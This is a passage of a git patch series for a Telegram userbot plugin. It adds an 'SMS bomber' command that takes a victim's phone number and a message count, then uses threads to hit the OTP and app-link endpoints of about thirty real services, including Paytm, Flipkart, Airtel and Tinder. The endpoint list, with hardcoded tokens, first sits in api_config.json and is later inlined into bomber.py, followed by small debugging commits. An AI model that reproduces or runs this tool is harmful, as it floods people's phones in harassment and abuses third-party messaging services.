From e4deadc60f5a0cad91874aab8c41f24af12f62aa Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Sun, 23 May 2021 22:42:40 +0530 Subject: [PATCH 01/28] Update ifsc.py --- ifsc.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ifsc.py b/ifsc.py index c52bd27..e83305a 100644 --- a/ifsc.py +++ b/ifsc.py @@ -12,7 +12,7 @@ from main_startup.helper_func.basic_helpers import edit_or_reply, get_text, edit_or_send_as_file, get_user -@friday_on_cmd(['ifsc', 'ifsc_lookup'], +@friday_on_cmd(['ifc', 'ifsc_lookup'], cmd_help={ 'help': 'Get ifsc Code Info.', 'example': '{ch}ifsc SBIN0008658'}) @@ -41,4 +41,4 @@ async def geT_if(client, message): await m_.edit( f"INFORMATION GATHERED SUCCESSFULLY\n\nBank Name : {f}\nBank Address : {a}\nCentre : {b}\nBranch : {c}\nCity : {d}\nState : {e}\nBank Code : {g}\nIFSC : {h}", parse_mode="html", - ) \ No newline at end of file + ) From 30614de1524e3ddd3b8ee7894129447854281a64 Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 00:22:31 +0530 Subject: [PATCH 02/28] Create bomber.py --- bomber.py | 423 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 423 insertions(+) create mode 100644 bomber.py diff --git a/bomber.py b/bomber.py new file mode 100644 index 0000000..6e6fdb0 --- /dev/null +++ b/bomber.py @@ -0,0 +1,423 @@ +from concurrent.futures import ThreadPoolExecutor +import json +import requests +import random +import time +import argparse +import os +import httpx +import sys +import textwrap +import urllib3 +from main_startup.core.decorators import friday_on_cmd +from main_startup.helper_func.basic_helpers import edit_or_reply, get_text, edit_or_send_as_file, get_user + + +class CustomArgumentParser(argparse.ArgumentParser): + def __init__(self, *args, width=80, **kwargs): + self.program = {key: kwargs[key] for key in kwargs} + self.positionals = [] + self.options = [] + self.width = width + super(CustomArgumentParser, self).__init__(*args, **kwargs) + + def add_argument(self, *args, **kwargs): + super(CustomArgumentParser, self).add_argument(*args, **kwargs) + argument = {key: kwargs[key] for key in kwargs} + if len(args) == 0 or ( + len(args) == 1 and isinstance(args[0], str) and not args[0].startswith("-") + ): + argument["name"] = args[0] if (len(args) > 0) else argument["dest"] + self.positionals.append(argument) + return + argument["flags"] = [item for item in args] + self.options.append(argument) + + def format_usage(self): + if "usage" in self.program: + prefix = "Usage: " + wrapper = textwrap.TextWrapper(width=self.width, break_long_words=False) + wrapper.initial_indent = prefix + wrapper.subsequent_indent = len(prefix) * " " + if self.program["usage"] == "" or str.isspace(self.program["usage"]): + return wrapper.fill("No usage information available") + return wrapper.fill(self.program["usage"]) + output = [] + left1 = "Usage: " + left2 = ( + self.program["prog"] + if ( + "prog" in self.program + and self.program["prog"] != "" + and not str.isspace(self.program["prog"]) + ) + else os.path.basename(sys.argv[0]) + if ( + len(sys.argv[0]) > 0 + and sys.argv[0] != "" + and not str.isspace(sys.argv[0]) + ) + else "script.py" + ) + llen = len(left1) + len(left2) + arglist = [] + for option in self.options: + flags = str.join("/", option["flags"]) + arglist += [ + "[%s]" % flags + if ( + "action" in option + and ( + option["action"] == "store_true" + or option["action"] == "store_false" + ) + ) + else "[%s %s]" % (flags, option["metavar"]) + if ("metavar" in option) + else "[%s %s]" % (flags, option["dest"].upper()) + if ("dest" in option) + else "[%s]" % flags + ] + for positional in self.positionals: + arglist += [ + "%s" % positional["metavar"] + if ("metavar" in positional) + else "%s" % positional["name"] + ] + right = str.join(" ", arglist) + + lwidth = llen + rwidth = max(0, self.width - lwidth - 1) + if lwidth > int(self.width / 2) - 1: + lwidth = max(0, int(self.width / 2) - 1) + rwidth = int(self.width / 2) + outtmp = "%-" + str(lwidth) + "s %s" + + # Wrap text for left and right parts, split into separate lines + wrapper = textwrap.TextWrapper(width=lwidth) + wrapper.initial_indent = left1 + wrapper.subsequent_indent = len(left1) * " " + left = wrapper.wrap(left2) + wrapper = textwrap.TextWrapper(width=rwidth) + right = wrapper.wrap(right) + + # Add usage message to output + for i in range(0, max(len(left), len(right))): + left_ = left[i] if (i < len(left)) else "" + right_ = right[i] if (i < len(right)) else "" + output.append(outtmp % (left_, right_)) + + # Return output as single string + return str.join("\n", output) + + def format_help(self): + output = [] + dewrapper = textwrap.TextWrapper(width=self.width) + + # Add description to output if present + if ( + "description" in self.program + and self.program["description"] != "" + and not str.isspace(self.program["description"]) + ): + output.append("") + output.append(dewrapper.fill(self.program["description"])) + output.append("") + + # Add usage message to output + output.append(self.format_usage()) + + # Determine what to display left and right for each argument, determine max + # string lengths for left and right + lmaxlen = rmaxlen = 0 + for positional in self.positionals: + positional["left"] = ( + positional["metavar"] + if ("metavar" in positional) + else positional["name"] + ) + for option in self.options: + if "action" in option and ( + option["action"] == "store_true" or option["action"] == "store_false" + ): + option["left"] = str.join(", ", option["flags"]) + else: + option["left"] = str.join( + ", ", + [ + "%s %s" % (item, option["metavar"]) + if ("metavar" in option) + else "%s %s" % (item, option["dest"].upper()) + if ("dest" in option) + else item + for item in option["flags"] + ], + ) + for argument in self.positionals + self.options: + if ( + "help" in argument + and argument["help"] != "" + and not str.isspace(argument["help"]) + and "default" in argument + and argument["default"] != argparse.SUPPRESS + ): + argument["right"] = ( + argument["help"] + + " " + + ( + "(default: '%s')" % argument["default"] + if isinstance(argument["default"], str) + else "(default: %s)" % str(argument["default"]) + ) + ) + elif ( + "help" in argument + and argument["help"] != "" + and not str.isspace(argument["help"]) + ): + argument["right"] = argument["help"] + elif "default" in argument and argument["default"] != argparse.SUPPRESS: + argument["right"] = ( + "Default: '%s'" % argument["default"] + if isinstance(argument["default"], str) + else "Default: %s" % str(argument["default"]) + ) + else: + # argument["right"] = "" + argument["right"] = "No description available" + lmaxlen = max(lmaxlen, len(argument["left"])) + rmaxlen = max(rmaxlen, len(argument["right"])) + lwidth = lmaxlen + rwidth = max(0, self.width - lwidth - 4) + if lwidth > int(self.width / 2) - 4: + lwidth = max(0, int(self.width / 2) - 4) + rwidth = int(self.width / 2) + # outtmp = " %-" + str(lwidth) + "s %-" + str(rwidth) + "s" + outtmp = " %-" + str(lwidth) + "s %s" + + # Wrap text for left and right parts, split into separate lines + lwrapper = textwrap.TextWrapper(width=lwidth) + rwrapper = textwrap.TextWrapper(width=rwidth) + for argument in self.positionals + self.options: + argument["left"] = lwrapper.wrap(argument["left"]) + argument["right"] = rwrapper.wrap(argument["right"]) + + # Add positional arguments to output + if len(self.positionals) > 0: + output.append("") + output.append("Positional arguments:") + for positional in self.positionals: + for i in range( + 0, max(len(positional["left"]), len(positional["right"])) + ): + left = ( + positional["left"][i] if (i < len(positional["left"])) else "" + ) + right = ( + positional["right"][i] if (i < len(positional["right"])) else "" + ) + output.append(outtmp % (left, right)) + + # Add option arguments to output + if len(self.options) > 0: + output.append("") + output.append("Optional arguments:") + for option in self.options: + for i in range(0, max(len(option["left"]), len(option["right"]))): + left = option["left"][i] if (i < len(option["left"])) else "" + right = option["right"][i] if (i < len(option["right"])) else "" + output.append(outtmp % (left, right)) + + # Add epilog to output if present + if ( + "epilog" in self.program + and self.program["epilog"] != "" + and not str.isspace(self.program["epilog"]) + ): + output.append("") + output.append(dewrapper.fill(self.program["epilog"])) + output.append("") + + # Return output as single string + return str.join("\n", output) + + # Method redefined as format_usage() does not return a trailing newline like + # the original does + def print_usage(self, file=None): + if file is None: + file = sys.stdout + file.write(self.format_usage() + "\n") + file.flush() + + # Method redefined as format_help() does not return a trailing newline like + # the original does + def print_help(self, file=None): + if file is None: + file = sys.stdout + file.write(self.format_help() + "\n") + file.flush() + + def error(self, message): + sys.stderr.write(self.format_usage() + "\n") + sys.stderr.write(("[ERROR] %s" % message) + "\n") + sys.exit(2) + + +class APIRequestsHandler: + def __init__( + self, + target, + timeout, + proxy={}, + verbose=False, + verify=False, + cc="91", + config=None, + ): + self.config = config + self.target = target + self.headers = self._headers() + self.done = False + self.proxy = proxy + self.cookies = self._cookies() + self.verbose = verbose + self.verify = verify + self.timeout = timeout + self.cc = cc + self.client = httpx.Client(http2=True, proxies=self.proxy, verify=VERIFY) + + def _headers(self): + tmp_headers = { + "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0" + } + if "headers" in self.config: + tmp_headers.update(self.config["headers"]) + return tmp_headers + + def _cookies(self): + tmp_cookies = {} + if "cookies" in self.config: + tmp_cookies.update(self.config["cookies"]) + return tmp_cookies + + def _data(self): + tmp_data = {} + for key, value in self.config["data"].items(): + tmp_data[key] = value.format(cc=self.cc, target=self.target) + return tmp_data + + def _params(self): + tmp_params = {} + if "params" in self.config: + for key, value in self.config["params"].items(): + tmp_params[key] = value.format(cc=self.cc, target=self.target) + return tmp_params + + def _get(self): + try: + return self.client.get( + self.config["url"], + params=self.params, + headers=self.headers, + cookies=self.cookies, + timeout=self.timeout, + ) + except: + raise + + def _post(self): + try: + return self.client.post( + self.config["url"], + data=self.data, + headers=self.headers, + cookies=self.cookies, + timeout=self.timeout, + ) + except: + raise + + def start(self): + try: + if self.config["method"] == "GET": + self.params = self._params() + self.resp = self._get() + elif self.config["method"] == "POST": + self.data = self._data() + self.resp = self._post() + self.done = True + except Exception as error: + (self.verbose or self.verify) and print( + "{:<13}: ERROR".format(self.config["name"]) + ) + self.verbose and print("Error text: {}".format(error)) + + def status(self): + if self.config["identifier"] in self.resp.text: + (self.verbose or self.verify) and print( + "{:<13}: OK".format(self.config["name"]) + ) + return True + else: + (self.verbose or self.verify) and print( + "{:<13}: FAIL".format(self.config["name"]) + ) + self.verbose and print("Response: {}".format(self.resp.text)) + return False +m=None +failed, success = 0, 0 +no_of_sms=0 + +def bomber(p): + global failed, success, no_of_sms,m + if p is None or success > no_of_sms: + return + elif not p.done: + try: + p.start() + if p.status(): + success += 1 + else: + failed += 1 + except: + failed += 1 + m.edit(f"Requests: {success+failed} | Success: {success} | Failed: {failed}",end="\r") + + + +@friday_on_cmd(['bomb', 'sms_bomb'], + cmd_help={ + 'help': 'atack with massive sms bombs', + 'example': '{ch}bomb 9848411000 : 100'}) +async def geT_if(client, message): + global failed, success, no_of_sms,m + VERIFY = True + not VERIFY and urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + m = await edit_or_reply(message, "`Please Wait!`") + input_str = get_text(message) + target,no_of_sms=input_str.split(":") + config = "api_config.json" + target = target.strip() + country_code = str(91) + no_of_threads = 5 + no_of_sms = int(no_of_sms.strip()) + failed, success = 0, 0 + + m.edit(f"Target: {target} | Threads: {no_of_threads} | SMS-Bombs: {no_of_sms}") + start = time.time() + providers = json.load(open(config, "r", encoding="UTF-8"))["providers"] + with ThreadPoolExecutor(max_workers=no_of_threads) as executor: + while success <= no_of_sms: + p = APIRequestsHandler( + target, + proxy=None, + verbose=None, + timeout=None, + cc=country_code, + config=random.choice( + providers[country_code] + providers["multi"] + if country_code in providers + else providers["multi"] + ), + ) + executor.submit(bomber, p) From 80c9764ea5c8351220761ab733c40feae04c40cc Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 00:23:13 +0530 Subject: [PATCH 03/28] Create api_config.json --- api_config.json | 314 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 314 insertions(+) create mode 100644 api_config.json diff --git a/api_config.json b/api_config.json new file mode 100644 index 0000000..3ca04a1 --- /dev/null +++ b/api_config.json @@ -0,0 +1,314 @@ +{ + "version": "3.0", + "created_by": "iMro0t, AvinashReddy3108, SpeedX", + "providers": { + "91": [ + { + "name": "confirmtkt", + "method": "GET", + "url": "https://securedapi.confirmtkt.com/api/platform/register", + "params": { + "newOtp": "true", + "mobile_number": "{target}" + }, + "identifier": "false" + }, + { + "name": "justdial", + "method": "GET", + "url": "https://t.justdial.com/api/india_api_write/18july2018/sendvcode.php", + "params": { + "mobile": "{target}" + }, + "identifier": "sent" + }, + { + "name": "myupchar", + "method": "GET", + "url": "https://www.myupchar.com/consultation/store_otp", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0", + "Accept": "*/*", + "Accept-Language": "en-US,en;q=0.5", + "X-CSRF-Token": "PVsJG4MoiKTLl7RA2KLYzXVoSt2s2URRSlCV3ADvm6M=", + "X-Requested-With": "XMLHttpRequest", + "Connection": "keep-alive", + "Referer": "https://www.myupchar.com/consultation/query", + "DNT": "1" + }, + "params": { + "phone": "{target}" + }, + "identifier": "आपके मोबाइल नंबर पर OTP भेज दिया गया है।" + }, + { + "name": "frotels", + "method": "POST", + "url": "https://www.frotels.com/appsendsms.php", + "data": { + "mobno": "{target}" + }, + "identifier": "sent" + }, + { + "name": "gapoon", + "method": "POST", + "url": "https://www.gapoon.com/userSignup", + "data": { + "mobile": "{target}", + "email": "a@a.com", + "name": "a" + }, + "identifier": "1" + }, + { + "name": "housing", + "method": "POST", + "url": "https://login.housing.com/api/v2/send-otp", + "data": { + "phone": "{target}" + }, + "identifier": "Sent" + }, + { + "name": "porter", + "method": "POST", + "url": "https://porter.in/restservice/send_app_link_sms", + "data": { + "phone": "{target}", + "referrer_string": "", + "brand": "porter" + }, + "identifier": "true" + }, + { + "name": "cityflo", + "method": "POST", + "url": "https://cityflo.com/website-app-download-link-sms/", + "data": { + "mobile_number": "{target}" + }, + "identifier": "sent" + }, + { + "name": "nnnow", + "method": "POST", + "url": "https://api.nnnow.com/d/api/appDownloadLink", + "data": { + "mobileNumber": "{target}" + }, + "identifier": "true" + }, + { + "name": "ajio", + "method": "POST", + "url": "https://login.web.ajio.com/api/auth/signupSendOTP", + "data": { + "firstName": "xxps", + "login": "wiqpdl223@wqew.com", + "password": "QASpw@1s", + "genderType": "Male", + "mobileNumber": "{target}", + "requestType": "SENDOTP" + }, + "identifier": "1" + }, + { + "name": "happyeasygo", + "method": "GET", + "url": "https://www.happyeasygo.com/heg_api/user/sendRegisterOTP.do", + "params": { + "phone": "91%20{target}" + }, + "identifier": "true" + }, + { + "name": "unacademy", + "method": "POST", + "url": "https://unacademy.com/api/v1/user/get_app_link/", + "data": { + "phone": "{target}" + }, + "identifier": "sent" + }, + { + "name": "treebo", + "method": "POST", + "url": "https://www.treebo.com/api/v2/auth/login/otp/", + "data": { + "phone_number": "{target}" + }, + "identifier": "sent" + }, + { + "name": "mobikwik", + "method": "POST", + "url": "https://webapi.mobikwik.com/p/account/otp/cell/v2", + "data": { + "cell": "{target}" + }, + "headers": { + "X-MClient": "0" + }, + "identifier": "true" + }, + { + "name": "airtel", + "method": "GET", + "url": "https://www.airtel.in/referral-api/core/notify", + "params": { + "messageId": "map", + "rtn": "{target}" + }, + "identifier": "Success" + }, + { + "name": "pharmeasy", + "method": "POST", + "url": "https://pharmeasy.in/api/auth/requestOTP", + "data": { + "contactNumber": "{target}" + }, + "identifier": "resendSmsCounter" + }, + { + "name": "mylescars", + "method": "POST", + "url": "https://www.mylescars.com/usermanagements/chkContact", + "data": { + "contactNo": "{target}" + }, + "identifier": "success@::::" + }, + { + "name": "grofers", + "method": "POST", + "url": "https://grofers.com/v2/accounts/", + "data": { + "user_phone": "{target}" + }, + "headers": { + "auth_key": "3f0b81a721b2c430b145ecb80cfdf51b170bf96135574e7ab7c577d24c45dbd7" + }, + "identifier": "We have sent" + }, + { + "name": "dream11", + "method": "POST", + "url": "https://api.dream11.com/sendsmslink", + "data": { + "siteId": "1", + "mobileNum": "{target}", + "appType": "androidfull" + }, + "identifier": "true" + }, + { + "name": "cashify", + "method": "GET", + "url": "https://www.cashify.in/api/cu01/v1/app-link", + "params": { + "mn": "{target}" + }, + "identifier": "Successfully" + }, + { + "name": "paytm", + "method": "POST", + "url": "https://commonfront.paytm.com/v4/api/sendsms", + "data": { + "phone": "{target}", + "guid": "2952fa812660c58dc160ca6c9894221d" + }, + "identifier": "202" + } + ], + "multi": [ + { + "name": "flipkart", + "method": "POST", + "cc_target": "loginId", + "url": "https://www.flipkart.com/api/5/user/otp/generate", + "data": { + "loginId": "+{target}" + }, + "headers": { + "X-user-agent": "Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0 FKUA/website/41/website/Desktop", + "Origin": "https://www.flipkart.com", + "Content-Type": "application/x-www-form-urlencoded" + }, + "identifier": "emailMask" + }, + { + "name": "qlean", + "method": "POST", + "url": "https://qlean.ru/clients-api/v2/sms_codes/auth/request_code", + "data": { + "phone": "{cc}{target}" + }, + "identifier": "request_id" + }, + { + "name": "mail.ru", + "method": "POST", + "url": "https://cloud.mail.ru//api/v2/notify/applink", + "data": { + "phone": "+{cc}{target}", + "api": "2", + "email": "email", + "x-email": "x-email" + }, + "identifier": "200" + }, + { + "name": "gotinder", + "method": "POST", + "url": "https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru", + "data": { + "phone_number": "{cc}{target}" + }, + "identifier": "200" + }, + { + "name": "youla.ru", + "method": "POST", + "url": "https://youla.ru/web-api/auth/request_code", + "data": { + "phone": "+{cc}{target}" + }, + "identifier": "code_length" + }, + { + "name": "ivi.ru", + "method": "POST", + "url": "https://api.ivi.ru/mobileapi/user/register/phone/v6", + "data": { + "phone": "{cc}{target}" + }, + "identifier": "true" + }, + { + "name": "delitime.ru", + "method": "POST", + "url": "https://api.delitime.ru/api/v2/signup", + "data": { + "SignupForm[username]": "{cc}{target}", + "SignupForm[device_type]": "3" + }, + "identifier": "true" + }, + { + "name": "icq.com", + "method": "POST", + "url": "https://www.icq.com/smsreg/requestPhoneValidation.php", + "data": { + "msisdn": "{cc}{target}", + "locale": "en", + "k": "ic1rtwz1s1Hj1O0r", + "r": "45559" + }, + "identifier": "200" + } + ] + } +} From 64431536350973f771cf4280f1dfcebb132ac4e1 Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 00:24:54 +0530 Subject: [PATCH 04/28] Update req.txt --- req.txt | 3 +++ 1 file changed, 3 insertions(+) diff --git a/req.txt b/req.txt index a7bbba1..39c8d67 100644 --- a/req.txt +++ b/req.txt @@ -11,3 +11,6 @@ quotefancy feedparser asyncurban validators>=0.18.2 +brotlipy >= 0.7.0 +httpx[http2] >= 0.16.1 +requests From 8970789fdf7ce50eb654448af12043d9e4ecaf67 Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 00:32:57 +0530 Subject: [PATCH 05/28] Update bomber.py --- bomber.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bomber.py b/bomber.py index 6e6fdb0..5d438a5 100644 --- a/bomber.py +++ b/bomber.py @@ -396,7 +396,7 @@ async def geT_if(client, message): m = await edit_or_reply(message, "`Please Wait!`") input_str = get_text(message) target,no_of_sms=input_str.split(":") - config = "api_config.json" + data={"version":"3.0","created_by":"Datta07","providers":{"91":[{"name":"confirmtkt","method":"GET","url":"https://securedapi.confirmtkt.com/api/platform/register","params":{"newOtp":"true","mobile_number":"{target}"},"identifier":"false"},{"name":"justdial","method":"GET","url":"https://t.justdial.com/api/india_api_write/18july2018/sendvcode.php","params":{"mobile":"{target}"},"identifier":"sent"},{"name":"myupchar","method":"GET","url":"https://www.myupchar.com/consultation/store_otp","headers":{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0","Accept":"*/*","Accept-Language":"en-US,en;q=0.5","X-CSRF-Token":"PVsJG4MoiKTLl7RA2KLYzXVoSt2s2URRSlCV3ADvm6M=","X-Requested-With":"XMLHttpRequest","Connection":"keep-alive","Referer":"https://www.myupchar.com/consultation/query","DNT":"1"},"params":{"phone":"{target}"},"identifier":"आपके मोबाइल नंबर पर OTP भेज दिया गया है।"},{"name":"frotels","method":"POST","url":"https://www.frotels.com/appsendsms.php","data":{"mobno":"{target}"},"identifier":"sent"},{"name":"gapoon","method":"POST","url":"https://www.gapoon.com/userSignup","data":{"mobile":"{target}","email":"a@a.com","name":"a"},"identifier":"1"},{"name":"housing","method":"POST","url":"https://login.housing.com/api/v2/send-otp","data":{"phone":"{target}"},"identifier":"Sent"},{"name":"porter","method":"POST","url":"https://porter.in/restservice/send_app_link_sms","data":{"phone":"{target}","referrer_string":"","brand":"porter"},"identifier":"true"},{"name":"cityflo","method":"POST","url":"https://cityflo.com/website-app-download-link-sms/","data":{"mobile_number":"{target}"},"identifier":"sent"},{"name":"nnnow","method":"POST","url":"https://api.nnnow.com/d/api/appDownloadLink","data":{"mobileNumber":"{target}"},"identifier":"true"},{"name":"ajio","method":"POST","url":"https://login.web.ajio.com/api/auth/signupSendOTP","data":{"firstName":"xxps","login":"wiqpdl223@wqew.com","password":"QASpw@1s","genderType":"Male","mobileNumber":"{target}","requestType":"SENDOTP"},"identifier":"1"},{"name":"happyeasygo","method":"GET","url":"https://www.happyeasygo.com/heg_api/user/sendRegisterOTP.do","params":{"phone":"91%20{target}"},"identifier":"true"},{"name":"unacademy","method":"POST","url":"https://unacademy.com/api/v1/user/get_app_link/","data":{"phone":"{target}"},"identifier":"sent"},{"name":"treebo","method":"POST","url":"https://www.treebo.com/api/v2/auth/login/otp/","data":{"phone_number":"{target}"},"identifier":"sent"},{"name":"mobikwik","method":"POST","url":"https://webapi.mobikwik.com/p/account/otp/cell/v2","data":{"cell":"{target}"},"headers":{"X-MClient":"0"},"identifier":"true"},{"name":"airtel","method":"GET","url":"https://www.airtel.in/referral-api/core/notify","params":{"messageId":"map","rtn":"{target}"},"identifier":"Success"},{"name":"pharmeasy","method":"POST","url":"https://pharmeasy.in/api/auth/requestOTP","data":{"contactNumber":"{target}"},"identifier":"resendSmsCounter"},{"name":"mylescars","method":"POST","url":"https://www.mylescars.com/usermanagements/chkContact","data":{"contactNo":"{target}"},"identifier":"success@::::"},{"name":"grofers","method":"POST","url":"https://grofers.com/v2/accounts/","data":{"user_phone":"{target}"},"headers":{"auth_key":"3f0b81a721b2c430b145ecb80cfdf51b170bf96135574e7ab7c577d24c45dbd7"},"identifier":"We have sent"},{"name":"dream11","method":"POST","url":"https://api.dream11.com/sendsmslink","data":{"siteId":"1","mobileNum":"{target}","appType":"androidfull"},"identifier":"true"},{"name":"cashify","method":"GET","url":"https://www.cashify.in/api/cu01/v1/app-link","params":{"mn":"{target}"},"identifier":"Successfully"},{"name":"paytm","method":"POST","url":"https://commonfront.paytm.com/v4/api/sendsms","data":{"phone":"{target}","guid":"2952fa812660c58dc160ca6c9894221d"},"identifier":"202"}],"multi":[{"name":"flipkart","method":"POST","cc_target":"loginId","url":"https://www.flipkart.com/api/5/user/otp/generate","data":{"loginId":"+{target}"},"headers":{"X-user-agent":"Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0 FKUA/website/41/website/Desktop","Origin":"https://www.flipkart.com","Content-Type":"application/x-www-form-urlencoded"},"identifier":"emailMask"},{"name":"qlean","method":"POST","url":"https://qlean.ru/clients-api/v2/sms_codes/auth/request_code","data":{"phone":"{cc}{target}"},"identifier":"request_id"},{"name":"mail.ru","method":"POST","url":"https://cloud.mail.ru//api/v2/notify/applink","data":{"phone":"+{cc}{target}","api":"2","email":"email","x-email":"x-email"},"identifier":"200"},{"name":"gotinder","method":"POST","url":"https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru","data":{"phone_number":"{cc}{target}"},"identifier":"200"},{"name":"youla.ru","method":"POST","url":"https://youla.ru/web-api/auth/request_code","data":{"phone":"+{cc}{target}"},"identifier":"code_length"},{"name":"ivi.ru","method":"POST","url":"https://api.ivi.ru/mobileapi/user/register/phone/v6","data":{"phone":"{cc}{target}"},"identifier":"true"},{"name":"delitime.ru","method":"POST","url":"https://api.delitime.ru/api/v2/signup","data":{"SignupForm[username]":"{cc}{target}","SignupForm[device_type]":"3"},"identifier":"true"},{"name":"icq.com","method":"POST","url":"https://www.icq.com/smsreg/requestPhoneValidation.php","data":{"msisdn":"{cc}{target}","locale":"en","k":"ic1rtwz1s1Hj1O0r","r":"45559"},"identifier":"200"}]}} target = target.strip() country_code = str(91) no_of_threads = 5 @@ -405,7 +405,7 @@ async def geT_if(client, message): m.edit(f"Target: {target} | Threads: {no_of_threads} | SMS-Bombs: {no_of_sms}") start = time.time() - providers = json.load(open(config, "r", encoding="UTF-8"))["providers"] + providers = data["providers"] with ThreadPoolExecutor(max_workers=no_of_threads) as executor: while success <= no_of_sms: p = APIRequestsHandler( From cc65a0d5cab1888f7114f40e99623355c383409c Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 00:35:40 +0530 Subject: [PATCH 06/28] Update bomber.py --- bomber.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bomber.py b/bomber.py index 5d438a5..f77d8cc 100644 --- a/bomber.py +++ b/bomber.py @@ -13,6 +13,8 @@ from main_startup.helper_func.basic_helpers import edit_or_reply, get_text, edit_or_send_as_file, get_user +VERIFY = True +not VERIFY and urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class CustomArgumentParser(argparse.ArgumentParser): def __init__(self, *args, width=80, **kwargs): self.program = {key: kwargs[key] for key in kwargs} @@ -391,8 +393,6 @@ def bomber(p): 'example': '{ch}bomb 9848411000 : 100'}) async def geT_if(client, message): global failed, success, no_of_sms,m - VERIFY = True - not VERIFY and urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) m = await edit_or_reply(message, "`Please Wait!`") input_str = get_text(message) target,no_of_sms=input_str.split(":") From 47b755c2dca90428972da89e81134f0e116dc5d7 Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 00:39:33 +0530 Subject: [PATCH 07/28] Update bomber.py --- bomber.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/bomber.py b/bomber.py index f77d8cc..b81143f 100644 --- a/bomber.py +++ b/bomber.py @@ -383,7 +383,8 @@ def bomber(p): failed += 1 except: failed += 1 - m.edit(f"Requests: {success+failed} | Success: {success} | Failed: {failed}",end="\r") + k=f"Requests: {success+failed} | Success: {success} | Failed: {failed}" + m.edit(l+k) @@ -402,8 +403,8 @@ async def geT_if(client, message): no_of_threads = 5 no_of_sms = int(no_of_sms.strip()) failed, success = 0, 0 - - m.edit(f"Target: {target} | Threads: {no_of_threads} | SMS-Bombs: {no_of_sms}") + l=f"Target: {target} | Threads: {no_of_threads} | SMS-Bombs: {no_of_sms}" + m.edit(l) start = time.time() providers = data["providers"] with ThreadPoolExecutor(max_workers=no_of_threads) as executor: From cd2eee5a2f64304a3be84de6ca81bc26283b1189 Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 00:43:15 +0530 Subject: [PATCH 08/28] Update bomber.py --- bomber.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/bomber.py b/bomber.py index b81143f..b7003ed 100644 --- a/bomber.py +++ b/bomber.py @@ -383,8 +383,8 @@ def bomber(p): failed += 1 except: failed += 1 - k=f"Requests: {success+failed} | Success: {success} | Failed: {failed}" - m.edit(l+k) + k="Requests: "+str(success+failed)+" | Success: "+str(success)+" | Failed: "+str(failed) + m.edit(l+"\n"+k) @@ -403,7 +403,7 @@ async def geT_if(client, message): no_of_threads = 5 no_of_sms = int(no_of_sms.strip()) failed, success = 0, 0 - l=f"Target: {target} | Threads: {no_of_threads} | SMS-Bombs: {no_of_sms}" + l="Target: "+target+" | Threads: "+str(no_of_threads)+" | SMS-Bombs: "+no_of_sms m.edit(l) start = time.time() providers = data["providers"] From 6a20197c53183414a660a13d25c74ad947b43c8b Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 00:44:44 +0530 Subject: [PATCH 09/28] Update bomber.py --- bomber.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bomber.py b/bomber.py index b7003ed..9218063 100644 --- a/bomber.py +++ b/bomber.py @@ -403,7 +403,7 @@ async def geT_if(client, message): no_of_threads = 5 no_of_sms = int(no_of_sms.strip()) failed, success = 0, 0 - l="Target: "+target+" | Threads: "+str(no_of_threads)+" | SMS-Bombs: "+no_of_sms + l="Target: "+target+" | Threads: "+str(no_of_threads)+" | SMS-Bombs: "+str(no_of_sms) m.edit(l) start = time.time() providers = data["providers"] From 18b09498b8d077f3344ed01345ab7c2b1be84b20 Mon Sep 17 00:00:00 2001 From: Akula Guru Datta <40553773+datta07@users.noreply.github.com> Date: Mon, 24 May 2021 00:46:59 +0530 Subject: [PATCH 10/28] Update bomber.py --- bomber.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bomber.py b/bomber.py index 9218063..dc0a7a2 100644 --- a/bomber.py +++ b/bomber.py @@ -384,7 +384,7 @@ def bomber(p): except: failed += 1 k="Requests: "+str(success+failed)+" | Success: "+str(success)+" | Failed: "+str(failed) - m.edit(l+"\n"+k) + await m.edit(l+"\n"+k) @@ -404,7 +404,7 @@ async def geT_if(client, message): no_of_sms = int(no_of_sms.strip()) failed, success = 0, 0 l="Target: "+target+" | Threads: "+str(no_of_threads)+" | SMS-Bombs: "+str(no_of_sms) - m.edit(l) + await m.edit(l) start = time.time() providers = data["providers"] with ThreadPoolExecutor(max_workers=no_of_threads) as executor: From d91527ed66a9d82355fcaaa8c3512ace2213c09c Mon Sep 17 00:00:00 2001 From: Akula Guru Datta 